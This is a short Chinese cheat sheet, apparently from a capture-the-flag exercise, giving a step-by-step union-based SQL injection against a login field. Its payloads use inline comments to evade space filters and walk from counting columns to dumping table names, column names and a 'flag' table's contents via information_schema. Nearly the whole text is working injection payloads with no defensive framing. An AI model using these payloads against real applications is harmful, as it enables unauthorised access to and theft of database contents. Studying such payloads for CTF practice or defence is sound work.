bp破解密码常用套路：


1、查字段

admin'/**/or/**/1=1/**/order/**/by/**/3#admin'/**/or/**/1=1/**/union/**/select/**/1,2,3#

2、查库(web2)

admin'/**/or/**/1=1/**/union/**/select/**/1,database(),3#

3、查表（flag,user）

admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema='web2'#

admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(table_name),3/**/from/**/information_schema.tables/**/where/**/table_schema=database()#

4、查字段flag

admin'/**/or/**/1=1/**/union/**/select/**/1,group_concat(column_name),3/**/from/**/information_schema.columns/**/where/**/table_name='flag'#

5、查字段flag内容admin'/**/or/**/1=1/**/union/**/select/**/1,flag,3/**/from/**/flag#